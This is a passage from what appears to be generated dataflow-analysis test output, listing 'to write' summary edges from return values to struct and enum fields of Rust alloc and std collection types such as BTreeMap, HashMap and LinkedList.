[summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::iter | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::range] in lang:alloc::_::::clone | Iter.range | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::iter_mut | IterMut.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Range::inner] in lang:alloc::_::::clone | Range | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Occupied(0)] in lang:alloc::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::and_modify | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)] in lang:alloc::_::::entry | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::entry | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)] in lang:alloc::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::and_modify | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)].Field[crate::collections::btree::map::entry::VacantEntry::key] in lang:alloc::_::::entry | VacantEntry.key | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)] in lang:alloc::_::::entry | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::OccupiedEntry::alloc] in lang:alloc::_::::insert_entry | OccupiedEntry.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::insert_entry | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::OccupiedEntry::dormant_map] in lang:alloc::_::::insert_entry | OccupiedEntry.dormant_map | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::insert_entry | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::merge_iter::MergeIterInner::a] in lang:alloc::_::::new | MergeIterInner.a | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::merge_iter::MergeIterInner::b] in lang:alloc::_::::new | MergeIterInner.b | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::navigate::LazyLeafHandle::Edge(0)] in lang:alloc::_::::clone | Edge | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::navigate::LazyLeafHandle::Root(0)] in lang:alloc::_::::clone | Root | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::BalancingContext::parent] in lang:alloc::_::::consider_for_balancing | BalancingContext.parent | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::consider_for_balancing | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)] in lang:alloc::_::::force | Internal | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::force | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::force | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)] in lang:alloc::_::::force | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)] in lang:alloc::_::::force | Leaf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::force | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::force | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)] in lang:alloc::_::::force | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::merge_tracking_child_edge | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::merge_tracking_child_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::steal_right | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::steal_right | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::awaken | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::awaken | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::cast_to_leaf_unchecked | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cast_to_leaf_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::dormant | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::dormant | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::forget_node_type | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_node_type | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::left_edge | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::new_edge | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::new_kv | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_kv | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::reborrow | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::reborrow_mut | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::merge_tracking_child_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::merge_tracking_child_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::steal_left | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::steal_left | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::steal_right | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::steal_right | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::left_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::new_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::new_kv | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_kv | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::right_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::right_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::first_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::first_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::first_kv | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::first_kv | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::last_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::last_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::last_kv | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::last_kv | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::push_with_handle | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::push_with_handle | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::reborrow | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::push_with_handle | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::push_with_handle | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::reborrow | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::push_with_handle | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::push_with_handle | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::awaken | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::awaken | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::borrow_mut | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::borrow_valmut | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_valmut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::cast_to_leaf_unchecked | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cast_to_leaf_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::dormant | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::dormant | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::forget_type | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_type | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::into_dying | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_dying | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::push_internal_level | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::push_internal_level | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::reborrow | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::awaken | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::awaken | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::borrow_mut | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::borrow_valmut | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_valmut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::cast_to_leaf_unchecked | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cast_to_leaf_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::dormant | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::dormant | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::forget_type | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_type | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::into_dying | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_dying | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::push_internal_level | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::push_internal_level | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::reborrow | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::kv] in lang:alloc::_::::forget_node_type | SplitResult.kv | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_node_type | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::left] in lang:alloc::_::::split | SplitResult.left | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::split | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::right] in lang:alloc::_::::split | SplitResult.right | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::split | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::right].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::split | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::right] in lang:alloc::_::::split | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchBound::Excluded(0)] in lang:alloc::_::::from_range | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_range | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchBound::Included(0)] in lang:alloc::_::::from_range | Included | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_range | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::Found(0)] in lang:alloc::_::::search_node | Found | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::search_node | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::Found(0)].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::search_node | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::Found(0)] in lang:alloc::_::::search_node | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)] in lang:alloc::_::::search_node | GoDown | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::search_node | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::search_node | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)] in lang:alloc::_::::search_node | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::BTreeSet::map] in lang:alloc::_::::clone | BTreeSet | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::CursorMutKey::inner] in lang:alloc::_::::with_mutable_key | CursorMutKey | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::with_mutable_key | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Difference::inner] in lang:alloc::_::::difference | Difference | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::difference | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Difference::inner].Field[crate::collections::btree::set::DifferenceInner::Search::other_set] in lang:alloc::_::::difference | Search.other_set | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Difference::inner] in lang:alloc::_::::difference | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Intersection::inner] in lang:alloc::_::::intersection | Intersection | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::intersection | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Intersection::inner].Field[crate::collections::btree::set::IntersectionInner::Search::large_set] in lang:alloc::_::::intersection | Search.large_set | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Intersection::inner] in lang:alloc::_::::intersection | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Entry::Occupied(0)] in lang:std::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Entry::Vacant(0)] in lang:std::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::HashMap::base] in lang:std::_::::clone | HashMap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::HashMap::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::HashMap::base] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Iter::base] in lang:std::_::::clone | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Iter::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Iter::base] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryBuilder::map] in lang:std::_::::raw_entry | RawEntryBuilder | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::raw_entry | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryBuilderMut::map] in lang:std::_::::raw_entry_mut | RawEntryBuilderMut | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::raw_entry_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Occupied(0)] in lang:std::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Vacant(0)] in lang:std::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Difference::other] in lang:std::_::::difference | Difference.other | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::difference | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::HashSet::base] in lang:std::_::::clone | HashSet | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::HashSet::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::HashSet::base] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Intersection::other] in lang:std::_::::intersection | Intersection.other | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::intersection | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Iter::base] in lang:std::_::::clone | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Iter::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Iter::base] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter] in lang:std::_::::clone | SymmetricDifference | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Union::iter] in lang:std::_::::clone | Union | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Union::iter].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Union::iter] in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::clone | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::as_cursor | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_cursor | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::cursor_back | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::cursor_front | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::index] in lang:alloc::_::::clone | Cursor.index | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::index] in lang:alloc::_::::as_cursor | Cursor.index | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_cursor | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::clone | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::as_cursor | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_cursor | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::cursor_back | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::cursor_front | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::cursor_back_mut | CursorMut.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::cursor_front_mut | CursorMut.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::cursor_back_mut | CursorMut.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::cursor_front_mut | CursorMut.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::it] in lang:alloc::_::::extract_if | ExtractIf.it | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::list] in lang:alloc::_::::extract_if | ExtractIf.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::old_len] in lang:alloc::_::::extract_if | ExtractIf.old_len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Iter::head] in lang:alloc::_::::iter | Iter.head | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Iter::len] in lang:alloc::_::::iter | Iter.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Iter::tail] in lang:alloc::_::::iter | Iter.tail | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::IterMut::head] in lang:alloc::_::::iter_mut | IterMut.head | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::IterMut::len] in lang:alloc::_::::iter_mut | IterMut.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter_mut | -| file://:0:0:0:0 | [summary] to write: 